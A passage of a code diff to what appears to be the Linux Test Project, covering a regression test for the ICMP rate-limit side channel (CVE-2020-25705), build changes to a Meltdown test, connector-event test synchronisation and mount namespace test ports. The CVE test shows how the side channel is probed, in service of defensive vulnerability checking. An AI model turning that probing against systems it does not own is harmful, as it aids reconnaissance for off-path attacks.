+		len = recvmsg(fd, &msg, MSG_ERRQUEUE);
+
+		if (len == -1) {
+			if (errno == EWOULDBLOCK || errno == EAGAIN)
+				break;
+
+			tst_brk(TBROK | TERRNO, "recvmsg() failed");
+		}
+
+		if (len < 0) {
+			tst_brk(TBROK | TERRNO,
+				"Invalid recvmsg() return value %zd", len);
+		}
+
+		for (cmsg = CMSG_FIRSTHDR(&msg); cmsg;
+			cmsg = CMSG_NXTHDR(&msg, cmsg)) {
+			if (cmsg->cmsg_level != SOL_IP)
+				continue;
+
+			if (cmsg->cmsg_type != IP_RECVERR)
+				continue;
+
+			memcpy(&exterr, CMSG_DATA(cmsg), sizeof(exterr));
+
+			if (exterr.ee_origin != SO_EE_ORIGIN_ICMP)
+				tst_brk(TBROK, "Unexpected non-ICMP error");
+
+			if (exterr.ee_errno != ECONNREFUSED) {
+				TST_ERR = exterr.ee_errno;
+				tst_brk(TBROK | TTERRNO,
+					"Unexpected ICMP error");
+			}
+
+			error_count++;
+		}
+	}
+
+	return error_count;
+}
+
+static int packet_batch(const struct sockaddr *addr, socklen_t addrsize)
+{
+	int i, j, error_count = 0;
+	char data = 0;
+
+	for (i = 0; i < SRCADDR_COUNT; i++) {
+		for (j = 0; j < 2; j++) {
+			error_count += count_icmp_errors(fds[i]);
+			TEST(sendto(fds[i], &data, sizeof(data), 0, addr,
+				addrsize));
+
+			if (TST_RET == -1) {
+				if (TST_ERR == ECONNREFUSED) {
+					j--; /* flush ICMP errors and retry */
+					continue;
+				}
+
+				tst_brk(TBROK | TTERRNO, "sento() failed");
+			}
+
+			if (TST_RET < 0) {
+				tst_brk(TBROK | TTERRNO,
+					"Invalid sento() return value %ld",
+					TST_RET);
+			}
+		}
+	}
+
+	/*
+	 * Wait and collect pending ICMP errors. Waiting less than 2 seconds
+	 * will make the test unreliable. Looping over each socket multiple
+	 * times (with or without poll()) will cause kernel to silently
+	 * discard ICMP errors, allowing the test to pass on vulnerable
+	 * systems.
+	 */
+	sleep(2);
+
+	for (i = 0; i < SRCADDR_COUNT; i++)
+		error_count += count_icmp_errors(fds[i]);
+
+	return error_count;
+}
+
+static void run(void)
+{
+	int i, errors_baseline, errors;
+	struct sockaddr_in addr = {
+		.sin_family = AF_INET,
+		.sin_port = TST_GET_UNUSED_PORT(AF_INET, SOCK_DGRAM),
+		.sin_addr = { htonl(DSTADDR) }
+	};
+
+	errors_baseline = packet_batch((struct sockaddr *)&addr, sizeof(addr));
+	errors = errors_baseline;
+	tst_res(TINFO, "Batch 0: Got %d ICMP errors", errors);
+
+	for (i = 1; i < BATCH_COUNT && errors == errors_baseline; i++) {
+		errors = packet_batch((struct sockaddr *)&addr, sizeof(addr));
+		tst_res(TINFO, "Batch %d: Got %d ICMP errors", i, errors);
+	}
+
+	if (errors == errors_baseline) {
+		tst_res(TFAIL,
+			"ICMP rate limit not randomized, system is vulnerable");
+		return;
+	}
+
+	tst_res(TPASS, "ICMP rate limit is randomized");
+}
+
+static void cleanup(void)
+{
+	int i;
+
+	for (i = 0; i < SRCADDR_COUNT; i++)
+		if (fds[i] >= 0)
+			SAFE_CLOSE(fds[i]);
+
+	if (childns >= 0)
+		SAFE_CLOSE(childns);
+
+	if (parentns >= 0)
+		SAFE_CLOSE(parentns);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_VETH",
+		"CONFIG_USER_NS=y",
+		"CONFIG_NET_NS=y",
+		NULL
+	},
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/proc/sys/user/max_user_namespaces", NULL},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "b38e7819cae9"},
+		{"CVE", "2020-25705"},
+		{}
+	}
+};
diff --git a/testcases/cve/meltdown.c b/testcases/cve/meltdown.c
index a387b32..76013e9 100644
--- a/testcases/cve/meltdown.c
+++ b/testcases/cve/meltdown.c
@@ -6,8 +6,6 @@
 #include "config.h"
 #include "tst_test.h"
 
-#if defined(__x86_64__) || defined(__i386__)
-
 #include <stdio.h>
 #include <string.h>
 #include <signal.h>
@@ -17,9 +15,10 @@
 #include <ctype.h>
 #include <sys/utsname.h>
 
+#ifdef HAVE_EMMINTRIN_H
 #include <emmintrin.h>
 
-#include "libtsc.h"
+#include "tst_tsc.h"
 
 #define TARGET_OFFSET	9
 #define TARGET_SIZE	(1 << TARGET_OFFSET)
@@ -378,14 +377,17 @@
 	.test_all = run,
 	.cleanup = cleanup,
 	.min_kver = "2.6.32",
+	.supported_archs = (const char *const []) {
+		"x86",
+		"x86_64",
+		NULL
+	},
 	.tags = (const struct tst_tag[]) {
 		{"CVE", "2017-5754"},
 		{}
 	}
 };
 
-#else /* #if defined(__x86_64__) || defined(__i386__) */
-
-TST_TEST_TCONF("not x86_64 or i386");
-
-#endif /* #else #if defined(__x86_64__) || defined(__i386__) */
+#else /* HAVE_EMMINTRIN_H */
+	TST_TEST_TCONF("<emmintrin.h> is not supported");
+#endif
diff --git a/testcases/kernel/Makefile b/testcases/kernel/Makefile
index 3319b31..81d1094 100644
--- a/testcases/kernel/Makefile
+++ b/testcases/kernel/Makefile
@@ -1,25 +1,7 @@
-#
-#    kernel test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#    Copyright (C) 2010, Linux Test Project.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
+# Copyright (C) 2010, Linux Test Project.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../..
 
@@ -46,6 +28,8 @@
 			   input \
 			   io \
 			   ipc \
+			   irq \
+			   kvm \
 			   logging \
 			   mem \
 			   numa \
@@ -55,11 +39,16 @@
 			   sound \
 			   tracing \
 			   uevents \
+			   watchqueue \
 
 ifeq ($(WITH_POWER_MANAGEMENT_TESTSUITE),yes)
 SUBDIRS			+= power_management
 endif
 
+ifeq ($(WITH_KVM_TESTSUITE),yes)
+SUBDIRS			+= kvm
+endif
+
 endif
 
 ifeq ($(ANDROID),1)
diff --git a/testcases/kernel/connectors/Makefile b/testcases/kernel/connectors/Makefile
index 5f668f4..336f98f 100644
--- a/testcases/kernel/connectors/Makefile
+++ b/testcases/kernel/connectors/Makefile
@@ -1,24 +1,6 @@
-#
-#    testcases/kernel/connectors test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems, Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems, Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/kernel/connectors/pec/Makefile b/testcases/kernel/connectors/pec/Makefile
index d9a7f10..00b549a 100644
--- a/testcases/kernel/connectors/pec/Makefile
+++ b/testcases/kernel/connectors/pec/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/connectors/pec testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/connectors/pec/cn_pec.sh b/testcases/kernel/connectors/pec/cn_pec.sh
index 9b85a5c..082e301 100755
--- a/testcases/kernel/connectors/pec/cn_pec.sh
+++ b/testcases/kernel/connectors/pec/cn_pec.sh
@@ -16,12 +16,14 @@
 TST_USAGE=usage
 TST_NEEDS_ROOT=1
 TST_NEEDS_TMPDIR=1
+TST_NEEDS_CHECKPOINTS=1
 TST_TEST_DATA="fork exec exit uid gid"
 
-. tst_test.sh
-
 num_events=10
 
+LISTENER_ID=0
+GENERATOR_ID=1
+
 usage()
 {
 	cat << EOF
@@ -67,27 +69,31 @@
 test()
 {
 	local event=$2
-	local expected_events lis_rc pid fd_act failed act_nevents exp act
+	local gen_pid list_pid gen_rc lis_rc
+	local expected_events fd_act failed act_nevents exp act
 
 	tst_res TINFO "Testing $2 event (nevents=$num_events)"
 
-	pec_listener >lis_$event.log 2>lis_$event.err &
-	pid=$!
-	# wait for pec_listener to start listening
-	tst_sleep 100ms
+	event_generator -n $num_events -e $event -c $GENERATOR_ID >gen.log &
+	gen_pid=$!
 
-	ROD event_generator -n $num_events -e $event \>gen_$event.log 2\>gen_$event.err
+	pec_listener -p $gen_pid -c $LISTENER_ID >lis.log &
+	lis_pid=$!
 
-	kill -s INT $pid 2> /dev/null
-	wait $pid
+	TST_CHECKPOINT_WAIT $LISTENER_ID
+	TST_CHECKPOINT_WAKE $GENERATOR_ID
+
+	wait $gen_pid
+	gen_rc=$?
+	wait $lis_pid
 	lis_rc=$?
 
-	if [ ! -s gen_$event.log ]; then
-		tst_brk TBROK "failed to generate process events: $(cat gen_$event.err)"
+	if [ $gen_rc -ne 0 ]; then
+		tst_brk TBROK "failed to execute event_generator"
 	fi
 
 	if [ $lis_rc -ne 0 ]; then
-		tst_brk TBROK "failed to execute the listener: $(cat lis_$event.err)"
+		tst_brk TBROK "failed to execute pec_listener"
 	fi
 
 	# The listener writes the same messages as the generator, but it can
@@ -104,7 +110,7 @@
 
 	fd_act=$(free_fd)
 	[ -z "$fd_act" ] && tst_brk TBROK "No free filehandle found"
-	eval "exec ${fd_act}<lis_$event.log"
+	eval "exec ${fd_act}<lis.log"
 
 	failed=0
 	act_nevents=0
@@ -122,7 +128,7 @@
 			tst_res TFAIL "Event was not detected by the event listener: $exp"
 			break
 		fi
-	done <gen_$event.log
+	done <gen.log
 
 	eval "exec ${fd_act}<&-"
 
@@ -134,8 +140,9 @@
 		fi
 	else
 		# TFAIL message is already printed in the loop above
-		cat lis_$event.log
+		cat lis.log
 	fi
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/kernel/connectors/pec/event_generator.c b/testcases/kernel/connectors/pec/event_generator.c
index 62e3412..4945058 100644
--- a/testcases/kernel/connectors/pec/event_generator.c
+++ b/testcases/kernel/connectors/pec/event_generator.c
@@ -24,17 +24,16 @@
 	.forks_child = 1
 };
 
-#define DEFAULT_EVENT_NUM       1
+static uid_t ltp_uid;
+static gid_t ltp_gid;
+static const char *ltp_user = "nobody";
+static char *prog_name;
 
-unsigned long nr_event = DEFAULT_EVENT_NUM;
+static int checkpoint_id = -1;
+static int nr_event = 1;
 
-uid_t ltp_uid;
-gid_t ltp_gid;
-const char *ltp_user = "nobody";
+static void (*gen_event)(void);
 
-char **exec_argv;
-
-void (*gen_event) (void);
 static void usage(int status) LTP_ATTRIBUTE_NORETURN;
 
 /*
@@ -47,45 +46,29 @@
 	FILE *stream = (status ? stderr : stdout);
 
 	fprintf(stream,
-		"Usage: event_generator -e fork|exit|exec|uid|gid [-n nr_event]\n");
+		"Usage: event_generator -e fork|exit|exec|uid|gid [-n nr_event] [-c checkpoint_id]\n");
 
 	exit(status);
 }
 
 /*
  * Generate exec event.
- *
- * We can't just exec nr_event times, because the current process image
- * will be replaced with the new process image, so we use environment
- * variable as event counters, as it will be inherited after exec.
  */
 static void gen_exec(void)
 {
-	char *val;
 	char buf[10];
-	unsigned long nr_exec;
-
-	/* get the event counter */
-	val = getenv("NR_EXEC");
-	if (!val) {
-		nr_exec = 0;
-		setenv("NR_EXEC", "1", 1);
-	} else {
-		nr_exec = atoi(val);
-		snprintf(buf, 10, "%lu", nr_exec + 1);
-		setenv("NR_EXEC", buf, 1);
-	}
-
-	/* stop generate exec event */
-	if (nr_exec >= nr_event)
-		return;
 
 	/* fflush is needed before exec */
 	printf("exec pid: %d\n", getpid());
 	fflush(stdout);
 
-	/* Note: This expects the full path to self in exec_argv[0]! */
-	SAFE_EXECVP(exec_argv[0], exec_argv);
+	/*
+	 * Decrease number of events to generate.
+	 * Don't pass checkpoint_id here. It is only used for synchronizing with
+	 * the shell script, before the first exec.
+	 */
+	sprintf(buf, "%u", nr_event - 1);
+	SAFE_EXECLP(prog_name, prog_name, "-e", "exec", "-n", buf, NULL);
 }
 
 /*
@@ -135,9 +118,8 @@
 static void process_options(int argc, char **argv)
 {
 	int c;
-	char *end;
 
-	while ((c = getopt(argc, argv, "e:n:h")) != -1) {
+	while ((c = getopt(argc, argv, "e:n:c:h")) != -1) {
 		switch (c) {
 			/* which event to generate */
 		case 'e':
@@ -158,17 +140,21 @@
 			break;
 			/* number of event to generate */
 		case 'n':
-			nr_event = strtoul(optarg, &end, 10);
-			if (*end != '\0' || nr_event == 0) {
-				fprintf(stderr, "wrong -n argument!");
-				exit(1);
+			if (tst_parse_int(optarg, &nr_event, 0, INT_MAX)) {
+				fprintf(stderr, "invalid value for nr_event");
+				usage(1);
+			}
+			break;
+		case 'c':
+			if (tst_parse_int(optarg, &checkpoint_id, 0, INT_MAX)) {
+				fprintf(stderr, "invalid value for checkpoint_id");
+				usage(1);
 			}
 			break;
 			/* help */
 		case 'h':
 			usage(0);
 		default:
-			fprintf(stderr, "unknown option!\n");
 			usage(1);
 		}
 	}
@@ -181,9 +167,11 @@
 
 int main(int argc, char **argv)
 {
-	unsigned long i;
+	int i;
 	struct passwd *ent;
 
+	prog_name = argv[0];
+
 	tst_test = &test;
 
 	process_options(argc, argv);
@@ -196,13 +184,21 @@
 	ltp_uid = ent->pw_uid;
 	ltp_gid = ent->pw_gid;
 
-	/* special processing for gen_exec, see comments above gen_exec() */
+	/* ready to generate events */
+	if (checkpoint_id != -1) {
+		tst_reinit();
+		TST_CHECKPOINT_WAIT(checkpoint_id);
+	}
+
 	if (gen_event == gen_exec) {
-		exec_argv = argv;
-
-		gen_exec();
-
-		/* won't reach here */
+		/*
+		 * The nr_event events are generated,
+		 * by recursively replacing ourself with
+		 * a fresh copy, decrementing the number of events
+		 * for each execution
+		 */
+		if (nr_event != 0)
+			gen_exec();
 		return 0;
 	}
 
@@ -225,6 +221,14 @@
 				fprintf(stderr, "Child process did not terminate with 0\n");
 				return 1;
 			}
+			/*
+			 * We need a tiny sleep here, so the kernel can generate
+			 * exit events in the correct order.
+			 * Otherwise it can happen, that exit events are generated
+			 * out-of-order.
+			 */
+			if (gen_event == gen_exit)
+				usleep(100);
 		}
 	}
 
diff --git a/testcases/kernel/connectors/pec/pec_listener.c b/testcases/kernel/connectors/pec/pec_listener.c
index 7844dc9..21ae53e 100644
--- a/testcases/kernel/connectors/pec/pec_listener.c
+++ b/testcases/kernel/connectors/pec/pec_listener.c
@@ -19,6 +19,9 @@
 #include <signal.h>
 #include <linux/types.h>
 #include <linux/netlink.h>
+#include <tst_checkpoint.h>
+#define TST_NO_DEFAULT_MAIN
+#include <tst_test.h>
 
 #ifndef NETLINK_CONNECTOR
 
@@ -50,11 +53,15 @@
 
 static __u32 seq;
 
-static int exit_flag;
+static volatile int exit_flag;
 static struct sigaction sigint_action;
+static pid_t terminate_pid;
+static int checkpoint_id = -1;
 
 struct nlmsghdr *nlhdr;
 
+static void usage(int status) LTP_ATTRIBUTE_NORETURN;
+
 /*
  * Handler for signal int. Set exit flag.
  *
@@ -176,6 +183,7 @@
 
 	pe = (struct proc_event *)msg->data;
 
+	//printf("TS: %llu\n", pe->timestamp_ns);
 	switch (pe->what) {
 	case PROC_EVENT_NONE:
 		printf("none err: %u\n", pe->event_data.ack.err);
@@ -203,6 +211,9 @@
 		       pe->event_data.exit.process_pid,
 		       pe->event_data.exit.exit_code,
 		       pe->event_data.exit.exit_signal);
+			if (terminate_pid
+				&& terminate_pid == pe->event_data.exec.process_pid)
+				exit_flag = 1;
 		break;
 	default:
 		printf("unknown event\n");
@@ -210,7 +221,42 @@
 	}
 }
 
-int main(void)
+static void usage(int status)
+{
+	FILE *stream = (status ? stderr : stdout);
+
+	fprintf(stream, "Usage: pec_listener [-p terminate_pid] [-c checkpoint_id]\n");
+
+	exit(status);
+}
+
+static void parse_args(int argc, char * const argv[])
+{
+	int c;
+
+	while ((c = getopt(argc, argv, "p:c:h")) != -1) {
+		switch (c) {
+		case 'p':
+			if (tst_parse_int(optarg, &terminate_pid, 0, INT_MAX)) {
+				fprintf(stderr, "Invalid value for terminate pid\n");
+				exit(1);
+			}
+			break;
+		case 'c':
+			if (tst_parse_int(optarg, &checkpoint_id, 0, INT_MAX)) {
+				fprintf(stderr, "invalid value for checkpoint_id");
+				usage(1);
+			}
+			break;
+		case 'h':
+			usage(0);
+		default:
+			usage(1);
+		}
+	}
+}
+
+int main(int argc, char * const argv[])
 {
 	int ret;
 	int sd;
@@ -218,6 +264,8 @@
 	struct sockaddr_nl src_addr;
 	struct pollfd pfd;
 
+	parse_args(argc, argv);
+
 	sigint_action.sa_flags = SA_RESETHAND;
 	sigint_action.sa_handler = &sigint_handler;
 	sigaction(SIGINT, &sigint_action, NULL);
@@ -257,6 +305,12 @@
 		exit(1);
 	}
 
+	/* ready to receive events */
+	if (checkpoint_id != -1) {
+		tst_reinit();
+		TST_CHECKPOINT_WAKE(0);
+	}
+
 	/* Receive msg from PEC */
 	pfd.fd = sd;
 	pfd.events = POLLIN;
diff --git a/testcases/kernel/containers/.gitignore b/testcases/kernel/containers/.gitignore
index 7dc2608..5c2b903 100644
--- a/testcases/kernel/containers/.gitignore
+++ b/testcases/kernel/containers/.gitignore
@@ -11,3 +11,4 @@
 userns/userns06_capcheck
 userns/userns06
 userns/userns07
+userns/userns08
diff --git a/testcases/kernel/containers/Makefile b/testcases/kernel/containers/Makefile
index 6620ed9..4285546 100644
--- a/testcases/kernel/containers/Makefile
+++ b/testcases/kernel/containers/Makefile
@@ -1,20 +1,5 @@
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) International Business Machines  Corp., 2007
-#
-# This program is free software;  you can redistribute it and#or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
-# or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-# for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program;  if not, write to the Free Software
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/kernel/containers/libclone/libclone.c b/testcases/kernel/containers/libclone/libclone.c
index 239674f..db0d9b2 100644
--- a/testcases/kernel/containers/libclone/libclone.c
+++ b/testcases/kernel/containers/libclone/libclone.c
@@ -56,7 +56,7 @@
 	}
 	if (pid == 0) {
 		close(retpipe[0]);
-		ret = ltp_syscall(SYS_unshare, clone_flags);
+		ret = tst_syscall(SYS_unshare, clone_flags);
 		if (ret == -1) {
 			if (write(retpipe[1], "0", 2) < 0) {
 				perror("unshare:write(retpipe[1], ..)");
diff --git a/testcases/kernel/containers/mountns/Makefile b/testcases/kernel/containers/mountns/Makefile
index bd42bf4..16284f4 100644
--- a/testcases/kernel/containers/mountns/Makefile
+++ b/testcases/kernel/containers/mountns/Makefile
@@ -1,23 +1,8 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2014 Red Hat, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of version 2 the GNU General Public License as
-# published by the Free Software Foundation.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-##############################################################################
+# Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
 
-top_srcdir              ?= ../../../..
+top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/testcases.mk
-include $(abs_srcdir)/../Makefile.inc
-
-LDLIBS                  := -lclone $(LDLIBS)
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/containers/mountns/mountns.h b/testcases/kernel/containers/mountns/mountns.h
new file mode 100644
index 0000000..76b37b4
--- /dev/null
+++ b/testcases/kernel/containers/mountns/mountns.h
@@ -0,0 +1,50 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2014 Red Hat, Inc.
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+#ifndef COMMON_H
+#define COMMON_H
+
+#include "tst_test.h"
+#include "lapi/namespaces_constants.h"
+
+#define DIRA "LTP_DIR_A"
+#define DIRB "LTP_DIR_B"
+
+static int dummy_child(void *v)
+{
+	(void)v;
+	return 0;
+}
+
+static void check_newns(void)
+{
+	int pid, status;
+
+	pid = ltp_clone_quick(CLONE_NEWNS | SIGCHLD, dummy_child, NULL);
+	if (pid < 0)
+		tst_brk(TCONF, "CLONE_NEWNS not supported");
+
+	SAFE_WAIT(&status);
+}
+
+static void umount_folders(void)
+{
+	if (tst_is_mounted(DIRA))
+		SAFE_UMOUNT(DIRA);
+
+	if (tst_is_mounted(DIRB))
+		SAFE_UMOUNT(DIRB);
+}
+
+static void create_folders(void)
+{
+	SAFE_MKDIR(DIRA, 0777);
+	SAFE_MKDIR(DIRB, 0777);
+	SAFE_TOUCH(DIRA "/A", 0, NULL);
+	SAFE_TOUCH(DIRB "/B", 0, NULL);
+}
+
+#endif
diff --git a/testcases/kernel/containers/mountns/mountns01.c b/testcases/kernel/containers/mountns/mountns01.c
index 0bd0c59..e8f1769 100644
--- a/testcases/kernel/containers/mountns/mountns01.c
+++ b/testcases/kernel/containers/mountns/mountns01.c
@@ -1,149 +1,111 @@
-/* Copyright (c) 2014 Red Hat, Inc.
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of version 2 the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ***********************************************************************
- * File: mountns01.c
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2014 Red Hat, Inc.
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
  *
  * Tests a shared mount: shared mount can be replicated to as many
  * mountpoints and all the replicas continue to be exactly same.
- * Description:
- * 1. Creates directories "A", "B" and files "A/A", "B/B"
- * 2. Unshares mount namespace and makes it private (so mounts/umounts
- *    have no effect on a real system)
- * 3. Bind mounts directory "A" to "A"
- * 4. Makes directory "A" shared
- * 5. Clones a new child process with CLONE_NEWNS flag
- * 6. There are two test cases (where X is parent namespace and Y child
- *    namespace):
- *    1)
- *	X: bind mounts "B" to "A"
- *	Y: must see "A/B"
- *	X: umounts "A"
- *    2)
- *	Y: bind mounts "B" to "A"
- *	X: must see "A/B"
- *	Y: umounts "A"
- ***********************************************************************/
+ *
+ * [Algorithm]
+ *
+ * - Creates directories DIR_A, DIR_B and files DIR_A/"A", DIR_B/"B"
+ * - Unshares mount namespace and makes it private (so mounts/umounts have no
+ *   effect on a real system)
+ * - Bind mounts directory DIR_A to DIR_A
+ * - Makes directory DIR_A shared
+ * - Clones a new child process with CLONE_NEWNS flag
+ * - There are two test cases (where X is parent namespace and Y child namespace):
+ *  1. First test case
+ *   .. X: bind mounts DIR_B to DIR_A
+ *   .. Y: must see DIR_A/"B"
+ *   .. X: umounts DIR_A
+ *  2. Second test case
+ *   .. Y: bind mounts DIR_B to DIR_A
+ *   .. X: must see DIR_A/"B"
+ *   .. Y: umounts DIR_A
+ */
 
-#define _GNU_SOURCE
 #include <sys/wait.h>
 #include <sys/mount.h>
-#include <stdio.h>
-#include <errno.h>
-#include "mountns_helper.h"
-#include "test.h"
-#include "safe_macros.h"
+#include "mountns.h"
+#include "tst_test.h"
 
-char *TCID	= "mountns01";
-int TST_TOTAL	= 2;
-
-#if defined(MS_SHARED) && defined(MS_PRIVATE) && defined(MS_REC)
-
-int child_func(void *arg LTP_ATTRIBUTE_UNUSED)
+static int child_func(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	int ret = 0;
+	TST_CHECKPOINT_WAIT(0);
 
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
-
-	if (access(DIRA"/B", F_OK) == -1)
-		ret = 2;
-
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
-
-	/* bind mounts DIRB to DIRA making contents of DIRB visible
-	 * in DIRA */
-	if (mount(DIRB, DIRA, "none", MS_BIND, NULL) == -1) {
-		perror("mount");
-		return 1;
-	}
-
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
-
-	umount(DIRA);
-	return ret;
-}
-
-static void test(void)
-{
-	int status;
-
-	/* unshares the mount ns */
-	if (unshare(CLONE_NEWNS) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "unshare failed");
-	/* makes sure parent mounts/umounts have no effect on a real system */
-	SAFE_MOUNT(cleanup, "none", "/", "none", MS_REC|MS_PRIVATE, NULL);
-
-	/* bind mounts DIRA to itself */
-	SAFE_MOUNT(cleanup, DIRA, DIRA, "none", MS_BIND, NULL);
-
-	/* makes mount DIRA shared */
-	SAFE_MOUNT(cleanup, "none", DIRA, "none", MS_SHARED, NULL);
-
-	if (do_clone_tests(CLONE_NEWNS, child_func, NULL, NULL, NULL) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
-
-	/* bind mounts DIRB to DIRA making contents of DIRB visible
-	 * in DIRA */
-	SAFE_MOUNT(cleanup, DIRB, DIRA, "none", MS_BIND, NULL);
-
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup, 0);
-
-	SAFE_UMOUNT(cleanup, DIRA);
-
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup, 0);
-
-	if (access(DIRA"/B", F_OK) == 0)
-		tst_resm(TPASS, "shared mount in child passed");
+	if (access(DIRA "/B", F_OK) == 0)
+		tst_res(TPASS, "shared mount in parent passed");
 	else
-		tst_resm(TFAIL, "shared mount in child failed");
+		tst_res(TFAIL, "shared mount in parent failed");
 
-	TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
+	/* bind mounts DIRB to DIRA making contents of DIRB visible in DIRA */
+	SAFE_MOUNT(DIRB, DIRA, "none", MS_BIND, NULL);
 
-	SAFE_WAIT(cleanup, &status);
-	if (WIFEXITED(status)) {
-		if ((WEXITSTATUS(status) == 0))
-			tst_resm(TPASS, "shared mount in parent passed");
-		else
-			tst_resm(TFAIL, "shared mount in parent failed");
-	}
-	if (WIFSIGNALED(status)) {
-		tst_resm(TBROK, "child was killed with signal %s",
-			 tst_strsig(WTERMSIG(status)));
-		return;
-	}
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
-	SAFE_UMOUNT(cleanup, DIRA);
+	SAFE_UMOUNT(DIRA);
+
+	return 0;
 }
 
-int main(int argc, char *argv[])
+static void run(void)
 {
-	int lc;
+	int ret;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	SAFE_UNSHARE(CLONE_NEWNS);
 
-	setup();
+	/* makes sure parent mounts/umounts have no effect on a real system */
+	SAFE_MOUNT("none", "/", "none", MS_REC | MS_PRIVATE, NULL);
 
-	for (lc = 0; TEST_LOOPING(lc); lc++)
-		test();
+	SAFE_MOUNT(DIRA, DIRA, "none", MS_BIND, NULL);
+	SAFE_MOUNT("none", DIRA, "none", MS_SHARED, NULL);
 
-	cleanup();
-	tst_exit();
+	ret = ltp_clone_quick(CLONE_NEWNS | SIGCHLD, child_func, NULL);
+	if (ret < 0)
+		tst_brk(TBROK, "clone failed");
+
+	SAFE_MOUNT(DIRB, DIRA, "none", MS_BIND, NULL);
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	SAFE_UMOUNT(DIRA);
+
